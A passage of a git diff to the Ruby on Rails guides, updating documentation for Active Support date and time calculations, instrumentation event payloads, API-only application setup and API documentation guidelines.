@@ -2961,8 +2948,6 @@ Extensions to `Date`
### Calculations
-NOTE: All the following methods are defined in `active_support/core_ext/date/calculations.rb`.
-
INFO: The following calculation methods have edge cases in October 1582, since days 5..14 just do not exist. This guide does not document their behavior around those days for brevity, but it is enough to say that they do what you would expect. That is, `Date.new(1582, 10, 4).tomorrow` returns `Date.new(1582, 10, 15)` and so on. Please check `test/core_ext/date_ext_test.rb` in the Active Support test suite for expected behavior.
#### `Date.current`
@@ -2971,69 +2956,9 @@ Active Support defines `Date.current` to be today in the current time zone. That
When making Date comparisons using methods which honor the user time zone, make sure to use `Date.current` and not `Date.today`. There are cases where the user time zone might be in the future compared to the system time zone, which `Date.today` uses by default. This means `Date.today` may equal `Date.yesterday`.
-#### Named dates
-
-##### `prev_year`, `next_year`
-
-In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
-```ruby
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_year # => Fri, 08 May 2009
-d.next_year # => Sun, 08 May 2011
-```
-
-If date is the 29th of February of a leap year, you obtain the 28th:
-
-```ruby
-d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
-d.prev_year # => Sun, 28 Feb 1999
-d.next_year # => Wed, 28 Feb 2001
-```
-
-`prev_year` is aliased to `last_year`.
-
-##### `prev_month`, `next_month`
-
-In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
-
-```ruby
-d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
-d.prev_month # => Thu, 08 Apr 2010
-d.next_month # => Tue, 08 Jun 2010
-```
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-```ruby
-Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
-Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
-Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
-Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
-```
-
-`prev_month` is aliased to `last_month`.
-
-##### `prev_quarter`, `next_quarter`
-
-Same as `prev_month` and `next_month`. It returns the date with the same day in the previous or next quarter:
-
-```ruby
-t = Time.local(2010, 5, 8) # => Sat, 08 May 2010
-t.prev_quarter # => Mon, 08 Feb 2010
-t.next_quarter # => Sun, 08 Aug 2010
-```
-
-If such a day does not exist, the last day of the corresponding month is returned:
-
-```ruby
-Time.local(2000, 7, 31).prev_quarter # => Sun, 30 Apr 2000
-Time.local(2000, 5, 31).prev_quarter # => Tue, 29 Feb 2000
-Time.local(2000, 10, 31).prev_quarter # => Mon, 30 Oct 2000
-Time.local(2000, 11, 31).next_quarter # => Wed, 28 Feb 2001
-```
-
-`prev_quarter` is aliased to `last_quarter`.
+#### Named dates
##### `beginning_of_week`, `end_of_week`
@@ -3052,6 +2977,8 @@ d.end_of_week(:sunday) # => Sat, 08 May 2010
`beginning_of_week` is aliased to `at_beginning_of_week` and `end_of_week` is aliased to `at_end_of_week`.
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `monday`, `sunday`
The methods `monday` and `sunday` return the dates for the previous Monday and
@@ -3069,6 +2996,8 @@ d = Date.new(2012, 9, 16) # => Sun, 16 Sep 2012
d.sunday # => Sun, 16 Sep 2012
```
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `prev_week`, `next_week`
The method `next_week` receives a symbol with a day name in English (default is the thread local `Date.beginning_of_week`, or `config.beginning_of_week`, or `:monday`) and it returns the date corresponding to that day.
@@ -3091,6 +3020,8 @@ d.prev_week(:friday) # => Fri, 30 Apr 2010
Both `next_week` and `prev_week` work as expected when `Date.beginning_of_week` or `config.beginning_of_week` are set.
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `beginning_of_month`, `end_of_month`
The methods `beginning_of_month` and `end_of_month` return the dates for the beginning and end of the month:
@@ -3103,6 +3034,8 @@ d.end_of_month # => Mon, 31 May 2010
`beginning_of_month` is aliased to `at_beginning_of_month`, and `end_of_month` is aliased to `at_end_of_month`.
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `beginning_of_quarter`, `end_of_quarter`
The methods `beginning_of_quarter` and `end_of_quarter` return the dates for the beginning and end of the quarter of the receiver's calendar year:
@@ -3115,6 +3048,8 @@ d.end_of_quarter # => Wed, 30 Jun 2010
`beginning_of_quarter` is aliased to `at_beginning_of_quarter`, and `end_of_quarter` is aliased to `at_end_of_quarter`.
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `beginning_of_year`, `end_of_year`
The methods `beginning_of_year` and `end_of_year` return the dates for the beginning and end of the year:
@@ -3127,6 +3062,8 @@ d.end_of_year # => Fri, 31 Dec 2010
`beginning_of_year` is aliased to `at_beginning_of_year`, and `end_of_year` is aliased to `at_end_of_year`.
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
#### Other Date Computations
##### `years_ago`, `years_since`
@@ -3152,6 +3089,10 @@ Date.new(2012, 2, 29).years_ago(3) # => Sat, 28 Feb 2009
Date.new(2012, 2, 29).years_since(3) # => Sat, 28 Feb 2015
```
+`last_year` is short-hand for `#years_ago(1)`.
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `months_ago`, `months_since`
The methods `months_ago` and `months_since` work analogously for months:
@@ -3168,6 +3109,10 @@ Date.new(2010, 4, 30).months_ago(2) # => Sun, 28 Feb 2010
Date.new(2009, 12, 31).months_since(2) # => Sun, 28 Feb 2010
```
+`last_month` is short-hand for `#months_ago(1)`.
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `weeks_ago`
The method `weeks_ago` works analogously for weeks:
@@ -3177,6 +3122,8 @@ Date.new(2010, 5, 24).weeks_ago(1) # => Mon, 17 May 2010
Date.new(2010, 5, 24).weeks_ago(2) # => Mon, 10 May 2010
```
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
##### `advance`
The most generic way to jump to other days is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, and returns a date advanced as much as the present keys indicate:
@@ -3205,6 +3152,8 @@ Date.new(2010, 2, 28).advance(days: 1).advance(months: 1)
# => Thu, 01 Apr 2010
```
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
+
#### Changing Components
The method `change` allows you to get a new date which is the same as the receiver except for the given year, month, or day:
@@ -3221,6 +3170,8 @@ Date.new(2010, 1, 31).change(month: 2)
# => ArgumentError: invalid date
```
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
+
#### Durations
Durations can be added to and subtracted from dates:
@@ -3263,6 +3214,8 @@ date.end_of_day # => Mon Jun 07 23:59:59 +0200 2010
`beginning_of_day` is aliased to `at_beginning_of_day`, `midnight`, `at_midnight`.
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
+
##### `beginning_of_hour`, `end_of_hour`
The method `beginning_of_hour` returns a timestamp at the beginning of the hour (hh:00:00):
@@ -3281,6 +3234,8 @@ date.end_of_hour # => Mon Jun 07 19:59:59 +0200 2010
`beginning_of_hour` is aliased to `at_beginning_of_hour`.
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
##### `beginning_of_minute`, `end_of_minute`
The method `beginning_of_minute` returns a timestamp at the beginning of the minute (hh:mm:00):
@@ -3301,6 +3256,8 @@ date.end_of_minute # => Mon Jun 07 19:55:59 +0200 2010
INFO: `beginning_of_hour`, `end_of_hour`, `beginning_of_minute` and `end_of_minute` are implemented for `Time` and `DateTime` but **not** `Date` as it does not make sense to request the beginning or end of an hour or minute on a `Date` instance.
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
##### `ago`, `since`
The method `ago` receives a number of seconds as argument and returns a timestamp those many seconds ago from midnight:
@@ -3317,6 +3274,8 @@ date = Date.current # => Fri, 11 Jun 2010
date.since(1) # => Fri, 11 Jun 2010 00:00:01 EDT -04:00
```
+NOTE: Defined in `active_support/core_ext/date/calculations.rb`.
+
#### Other Time Computations
### Conversions
@@ -3328,37 +3287,7 @@ WARNING: `DateTime` is not aware of DST rules and so some of these methods have
### Calculations
-NOTE: All the following methods are defined in `active_support/core_ext/date_time/calculations.rb`.
-
-The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes:
-
-```ruby
-yesterday
-tomorrow
-beginning_of_week (at_beginning_of_week)
-end_of_week (at_end_of_week)
-monday
-sunday
-weeks_ago
-prev_week (last_week)
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month (last_month)
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year (last_year)
-next_year
-on_weekday?
-on_weekend?
-```
+The class `DateTime` is a subclass of `Date` so by loading `active_support/core_ext/date/calculations.rb` you inherit these methods and their aliases, except that they will always return datetimes.
The following methods are reimplemented so you do **not** need to load `active_support/core_ext/date/calculations.rb` for these ones:
@@ -3384,6 +3313,8 @@ end_of_hour
Active Support defines `DateTime.current` to be like `Time.now.to_datetime`, except that it honors the user time zone, if defined. It also defines `DateTime.yesterday` and `DateTime.tomorrow`, and the instance predicates `past?`, and `future?` relative to `DateTime.current`.
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
#### Other Extensions
##### `seconds_since_midnight`
@@ -3395,6 +3326,8 @@ now = DateTime.current # => Mon, 07 Jun 2010 20:26:36 +0000
now.seconds_since_midnight # => 73596
```
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
##### `utc`
The method `utc` gives you the same datetime in the receiver expressed in UTC.
@@ -3406,6 +3339,8 @@ now.utc # => Mon, 07 Jun 2010 23:27:52 +0000
This method is also aliased as `getutc`.
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
##### `utc?`
The predicate `utc?` says whether the receiver has UTC as its time zone:
@@ -3416,6 +3351,8 @@ now.utc? # => false
now.utc.utc? # => true
```
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
##### `advance`
The most generic way to jump to another datetime is `advance`. This method receives a hash with keys `:years`, `:months`, `:weeks`, `:days`, `:hours`, `:minutes`, and `:seconds`, and returns a datetime advanced as much as the present keys indicate.
@@ -3447,6 +3384,8 @@ d.advance(seconds: 1).advance(months: 1)
WARNING: Since `DateTime` is not DST-aware you can end up in a non-existing point in time with no warning or error telling you so.
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
#### Changing Components
The method `change` allows you to get a new datetime which is the same as the receiver except for the given options, which may include `:year`, `:month`, `:day`, `:hour`, `:min`, `:sec`, `:offset`, `:start`:
@@ -3479,6 +3418,8 @@ DateTime.current.change(month: 2, day: 30)
# => ArgumentError: invalid date
```
+NOTE: Defined in `active_support/core_ext/date_time/calculations.rb`.
+
#### Durations
Durations can be added to and subtracted from datetimes:
@@ -3504,50 +3445,6 @@ Extensions to `Time`
### Calculations
-NOTE: All the following methods are defined in `active_support/core_ext/time/calculations.rb`.
-
-Active Support adds to `Time` many of the methods available for `DateTime`:
-
-```ruby
-past?
-today?
-future?
-yesterday
-tomorrow
-seconds_since_midnight
-change
-advance
-ago
-since (in)
-beginning_of_day (midnight, at_midnight, at_beginning_of_day)
-end_of_day
-beginning_of_hour (at_beginning_of_hour)
-end_of_hour
-beginning_of_week (at_beginning_of_week)
-end_of_week (at_end_of_week)
-monday
-sunday
-weeks_ago
-prev_week (last_week)
-next_week
-months_ago
-months_since
-beginning_of_month (at_beginning_of_month)
-end_of_month (at_end_of_month)
-prev_month (last_month)
-next_month
-beginning_of_quarter (at_beginning_of_quarter)
-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year (last_year)
-next_year
-on_weekday?
-on_weekend?
-```
-
They are analogous. Please refer to their documentation above and take into account the following differences:
* `change` accepts an additional `:usec` option.
@@ -3572,6 +3469,8 @@ Active Support defines `Time.current` to be today in the current time zone. That
When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`.
+NOTE: Defined in `active_support/core_ext/time/calculations.rb`.
+
#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
The method `all_day` returns a range representing the whole day of the current time.
@@ -3600,6 +3499,84 @@ now.all_year
# => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
```
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+#### `prev_day`, `next_day`
+
+In Ruby 1.9 `prev_day` and `next_day` return the date in the last or next day:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_day # => Fri, 07 May 2010
+d.next_day # => Sun, 09 May 2010
+```
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+#### `prev_month`, `next_month`
+
+In Ruby 1.9 `prev_month` and `next_month` return the date with the same day in the last or next month:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_month # => Thu, 08 Apr 2010
+d.next_month # => Tue, 08 Jun 2010
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Date.new(2000, 5, 31).prev_month # => Sun, 30 Apr 2000
+Date.new(2000, 3, 31).prev_month # => Tue, 29 Feb 2000
+Date.new(2000, 5, 31).next_month # => Fri, 30 Jun 2000
+Date.new(2000, 1, 31).next_month # => Tue, 29 Feb 2000
+```
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+#### `prev_year`, `next_year`
+
+In Ruby 1.9 `prev_year` and `next_year` return a date with the same day/month in the last or next year:
+
+```ruby
+d = Date.new(2010, 5, 8) # => Sat, 08 May 2010
+d.prev_year # => Fri, 08 May 2009
+d.next_year # => Sun, 08 May 2011
+```
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+```ruby
+d = Date.new(2000, 2, 29) # => Tue, 29 Feb 2000
+d.prev_year # => Sun, 28 Feb 1999
+d.next_year # => Wed, 28 Feb 2001
+```
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+#### `prev_quarter`, `next_quarter`
+
+`prev_quarter` and `next_quarter` return the date with the same day in the previous or next quarter:
+
+```ruby
+t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300
+t.prev_quarter # => 2010-02-08 00:00:00 +0200
+t.next_quarter # => 2010-08-08 00:00:00 +0300
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.local(2000, 7, 31).prev_quarter # => 2000-04-30 00:00:00 +0300
+Time.local(2000, 5, 31).prev_quarter # => 2000-02-29 00:00:00 +0200
+Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300
+Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200
+```
+
+`prev_quarter` is aliased to `last_quarter`.
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
### Time Constructors
Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
@@ -3623,7 +3600,7 @@ Durations can be added to and subtracted from time objects:
now = Time.current
# => Mon, 09 Aug 2010 23:20:05 UTC +00:00
now + 1.year
-# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
now - 1.week
# => Mon, 02 Aug 2010 23:21:11 UTC +00:00
```
@@ -3686,9 +3663,9 @@ Extensions to `NameError`
Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
-The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully qualified constant name.
-TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+TIP: A symbol can represent a fully qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index 03c9183eb3..69c6a6e414 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -1,9 +1,9 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Active Support Instrumentation
==============================
-Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+Active Support is a part of core Rails that provides Ruby language extensions, utilities, and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
@@ -169,7 +169,7 @@ INFO. Additional keys may be added by the caller.
### send_data.action_controller
-`ActionController` does not had any specific information to the payload. All options are passed through to the payload.
+`ActionController` does not add any specific information to the payload. All options are passed through to the payload.
### redirect_to.action_controller
@@ -197,6 +197,12 @@ INFO. Additional keys may be added by the caller.
}
```
+### unpermitted_parameters.action_controller
+
+| Key | Value |
+| ------- | ---------------- |
+| `:keys` | Unpermitted keys |
+
Action View
-----------
@@ -304,7 +310,7 @@ Action Mailer
mailer: "Notification",
message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
subject: "Rails Guides",
- to: ["users@rails.com", "ddh@rails.com"],
+ to: ["users@rails.com", "dhh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "..." # omitted for brevity
@@ -313,27 +319,45 @@ Action Mailer
### deliver.action_mailer
-| Key | Value |
-| ------------- | -------------------------------------------- |
-| `:mailer` | Name of the mailer class |
-| `:message_id` | ID of the message, generated by the Mail gem |
-| `:subject` | Subject of the mail |
-| `:to` | To address(es) of the mail |
-| `:from` | From address of the mail |
-| `:bcc` | BCC addresses of the mail |
-| `:cc` | CC addresses of the mail |
-| `:date` | Date of the mail |
-| `:mail` | The encoded form of the mail |
+| Key | Value |
+| --------------------- | ---------------------------------------------------- |
+| `:mailer` | Name of the mailer class |
+| `:message_id` | ID of the message, generated by the Mail gem |
+| `:subject` | Subject of the mail |
+| `:to` | To address(es) of the mail |
+| `:from` | From address of the mail |
+| `:bcc` | BCC addresses of the mail |
+| `:cc` | CC addresses of the mail |
+| `:date` | Date of the mail |
+| `:mail` | The encoded form of the mail |
+| `:perform_deliveries` | Whether delivery of this message is performed or not |
```ruby
{
mailer: "Notification",
message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
subject: "Rails Guides",
- to: ["users@rails.com", "ddh@rails.com"],
+ to: ["users@rails.com", "dhh@rails.com"],
from: ["me@rails.com"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
- mail: "..." # omitted for brevity
+ mail: "...", # omitted for brevity
+ perform_deliveries: true
+}
+```
+
+### process.action_mailer
+
+| Key | Value |
+| ------------- | ------------------------ |
+| `:mailer` | Name of the mailer class |
+| `:action` | The action |
+| `:args` | The arguments |
+
+```ruby
+{
+ mailer: "Notification",
+ action: "welcome_email",
+ args: []
}
```
@@ -436,6 +460,14 @@ Active Job
| `:adapter` | QueueAdapter object processing the job |
| `:job` | Job object |
+### enqueue_retry.active_job
+
+| Key | Value |
+| ------------ | -------------------------------------- |
+| `:job` | Job object |
+| `:adapter` | QueueAdapter object processing the job |
+| `:error` | The error that caused the retry |
+
### perform_start.active_job
| Key | Value |
@@ -450,6 +482,115 @@ Active Job
| `:adapter` | QueueAdapter object processing the job |
| `:job` | Job object |
+### retry_stopped.active_job
+
+| Key | Value |
+| ------------ | -------------------------------------- |
+| `:adapter` | QueueAdapter object processing the job |
+| `:job` | Job object |
+| `:error` | The error that caused the retry |
+
+### discard.active_job
+
+| Key | Value |
+| ------------ | -------------------------------------- |
+| `:adapter` | QueueAdapter object processing the job |
+| `:job` | Job object |
+| `:error` | The error that caused the discard |
+
+Action Cable
+------------
+
+### perform_action.action_cable
+
+| Key | Value |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+| `:action` | The action |
+| `:data` | A hash of data |
+
+### transmit.action_cable
+
+| Key | Value |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+| `:data` | A hash of data |
+| `:via` | Via |
+
+### transmit_subscription_confirmation.action_cable
+
+| Key | Value |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+
+### transmit_subscription_rejection.action_cable
+
+| Key | Value |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+
+### broadcast.action_cable
+
+| Key | Value |
+| --------------- | -------------------- |
+| `:broadcasting` | A named broadcasting |
+| `:message` | A hash of message |
+| `:coder` | The coder |
+
+Active Storage
+--------------
+
+### service_upload.active_storage
+
+| Key | Value |
+| ------------ | ---------------------------- |
+| `:key` | Secure token |
+| `:service` | Name of the service |
+| `:checksum` | Checksum to ensure integrity |
+
+### service_streaming_download.active_storage
+
+| Key | Value |
+| ------------ | ------------------- |
+| `:key` | Secure token |
+| `:service` | Name of the service |
+
+### service_download.active_storage
+
+| Key | Value |
+| ------------ | ------------------- |
+| `:key` | Secure token |
+| `:service` | Name of the service |
+
+### service_delete.active_storage
+
+| Key | Value |
+| ------------ | ------------------- |
+| `:key` | Secure token |
+| `:service` | Name of the service |
+
+### service_delete_prefixed.active_storage
+
+| Key | Value |
+| ------------ | ------------------- |
+| `:prefix` | Key prefix |
+| `:service` | Name of the service |
+
+### service_exist.active_storage
+
+| Key | Value |
+| ------------ | --------------------------- |
+| `:key` | Secure token |
+| `:service` | Name of the service |
+| `:exist` | File or blob exists or not |
+
+### service_url.active_storage
+
+| Key | Value |
+| ------------ | ------------------- |
+| `:key` | Secure token |
+| `:service` | Name of the service |
+| `:url` | Generated url |
Railties
--------
@@ -549,4 +690,4 @@ end
```
You should follow Rails conventions when defining your own events. The format is: `event.library`.
-If you application is sending Tweets, you should create an event named `tweet.twitter`.
+If your application is sending Tweets, you should create an event named `tweet.twitter`.
diff --git a/guides/source/api_app.md b/guides/source/api_app.md
index f373d313cc..85367c50e7 100644
--- a/guides/source/api_app.md
+++ b/guides/source/api_app.md
@@ -1,5 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Using Rails for API-only Applications
=====================================
@@ -18,14 +17,14 @@ What is an API Application?
Traditionally, when people said that they used Rails as an "API", they meant
providing a programmatically accessible API alongside their web application.
-For example, GitHub provides [an API](http://developer.github.com) that you
+For example, GitHub provides [an API](https://developer.github.com) that you
can use from your own custom clients.
With the advent of client-side frameworks, more developers are using Rails to
build a back-end that is shared between their web application and other native
applications.
-For example, Twitter uses its [public API](https://dev.twitter.com) in its web
+For example, Twitter uses its [public API](https://developer.twitter.com/) in its web
application, which is built as a static site that consumes JSON resources.
Instead of using Rails to generate HTML that communicates with the server
@@ -66,9 +65,9 @@ Handled at the middleware layer:
about the request environment, database queries, and basic performance
information.
- Security: Rails detects and thwarts [IP spoofing
- attacks](http://en.wikipedia.org/wiki/IP_address_spoofing) and handles
+ attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles
cryptographic signatures in a [timing
- attack](http://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what
+ attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what
an IP spoofing attack or a timing attack is? Exactly.
- Parameter Parsing: Want to specify your parameters as JSON instead of as a
URL-encoded String? No problem. Rails will decode the JSON for you and make
@@ -94,12 +93,12 @@ Handled at the Action Pack layer:
means not having to spend time thinking about how to model your API in terms
of HTTP.
- URL Generation: The flip side of routing is URL generation. A good API based
- on HTTP includes URLs (see [the GitHub Gist API](http://developer.github.com/v3/gists/)
+ on HTTP includes URLs (see [the GitHub Gist API](https://developer.github.com/v3/gists/)
for an example).
- Header and Redirection Responses: `head :no_content` and
`redirect_to user_url(current_user)` come in handy. Sure, you could manually
add the response headers, but why?
-- Caching: Rails provides page, action and fragment caching. Fragment caching
+- Caching: Rails provides page, action, and fragment caching. Fragment caching
is especially helpful when building up a nested JSON object.
- Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support
for three kinds of HTTP authentication.
@@ -107,7 +106,7 @@ Handled at the Action Pack layer:
handlers for a variety of events, such as action processing, sending a file or
data, redirection, and database queries. The payload of each event comes with
relevant information (for the action processing event, the payload includes
- the controller, action, parameters, request format, request method and the
+ the controller, action, parameters, request format, request method, and the
request's full path).
- Generators: It is often handy to generate a resource and get your model,
controller, test stubs, and routes created for you in a single command for
@@ -149,7 +148,7 @@ This will do three main things for you:
`ActionController::Base`. As with middleware, this will leave out any Action
Controller modules that provide functionalities primarily used by browser
applications.
-- Configure the generators to skip generating views, helpers and assets when
+- Configure the generators to skip generating views, helpers, and assets when
you generate a new resource.
### Changing an existing application
@@ -206,10 +205,10 @@ An API application comes with the following middleware by default:
- `ActiveSupport::Cache::Strategy::LocalCache::Middleware`
- `Rack::Runtime`
- `ActionDispatch::RequestId`
+- `ActionDispatch::RemoteIp`
- `Rails::Rack::Logger`
- `ActionDispatch::ShowExceptions`
- `ActionDispatch::DebugExceptions`
-- `ActionDispatch::RemoteIp`
- `ActionDispatch::Reloader`
- `ActionDispatch::Callbacks`
- `ActiveRecord::Migration::CheckPending`
@@ -360,7 +359,7 @@ middleware set, you can remove it with:
config.middleware.delete ::Rack::Sendfile
```
-Keep in mind that removing these middleware will remove support for certain
+Keep in mind that removing these middlewares will remove support for certain
features in Action Controller.
Choosing Controller Modules
@@ -376,7 +375,6 @@ controller modules by default:
- `ActionController::ConditionalGet`: Support for `stale?`.
- `ActionController::BasicImplicitRender`: Makes sure to return an empty response, if there isn't an explicit one.
- `ActionController::StrongParameters`: Support for parameters white-listing in combination with Active Model mass assignment.
-- `ActionController::ForceSSL`: Support for `force_ssl`.
- `ActionController::DataStreaming`: Support for `send_file` and `send_data`.
- `AbstractController::Callbacks`: Support for `before_action` and
similar helpers.
@@ -385,21 +383,22 @@ controller modules by default:
hooks defined by Action Controller (see [the instrumentation
guide](active_support_instrumentation.html#action-controller) for
more information regarding this).
-- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash,
+- `ActionController::ParamsWrapper`: Wraps the parameters hash into a nested hash,
so that you don't have to specify root elements sending POST requests for instance.
+- `ActionController::Head`: Support for returning a response with no content, only headers
Other plugins may add additional modules. You can get a list of all modules
included into `ActionController::API` in the rails console:
```bash
-$ bin/rails c
+$ rails c
>> ActionController::API.ancestors - ActionController::Metal.ancestors
-=> [ActionController::API,
- ActiveRecord::Railties::ControllerRuntime,
- ActionDispatch::Routing::RouteSet::MountedHelpers,
- ActionController::ParamsWrapper,
- ... ,
- AbstractController::Rendering,
+=> [ActionController::API,
+ ActiveRecord::Railties::ControllerRuntime,
+ ActionDispatch::Routing::RouteSet::MountedHelpers,
+ ActionController::ParamsWrapper,
+ ... ,
+ AbstractController::Rendering,
ActionView::ViewPaths]
```
@@ -413,8 +412,10 @@ Some common modules you might want to add:
- `AbstractController::Translation`: Support for the `l` and `t` localization
and translation methods.
-- `ActionController::HttpAuthentication::Basic` (or `Digest` or `Token`): Support
- for basic, digest or token HTTP authentication.
+- Support for basic, digest, or token HTTP authentication:
+ * `ActionController::HttpAuthentication::Basic::ControllerMethods`,
+ * `ActionController::HttpAuthentication::Digest::ControllerMethods`,
+ * `ActionController::HttpAuthentication::Token::ControllerMethods`
- `ActionView::Layouts`: Support for layouts when rendering.
- `ActionController::MimeResponds`: Support for `respond_to`.
- `ActionController::Cookies`: Support for `cookies`, which includes
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 34b9c0d2ca..b6ee7354f9 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
API Documentation Guidelines
============================
@@ -16,7 +16,7 @@ RDoc
----
The [Rails API documentation](http://api.rubyonrails.org) is generated with
-[RDoc](http://docs.seattlerb.org/rdoc/). To generate it, make sure you are
+[RDoc](https://ruby.github.io/rdoc/). To generate it, make sure you are
in the rails root directory, run `bundle install` and execute:
```bash
@@ -26,9 +26,9 @@ in the rails root directory, run `bundle install` and execute:
Resulting HTML files can be found in the ./doc/rdoc directory.
Please consult the RDoc documentation for help with the
-[markup](http://docs.seattlerb.org/rdoc/RDoc/Markup.html),
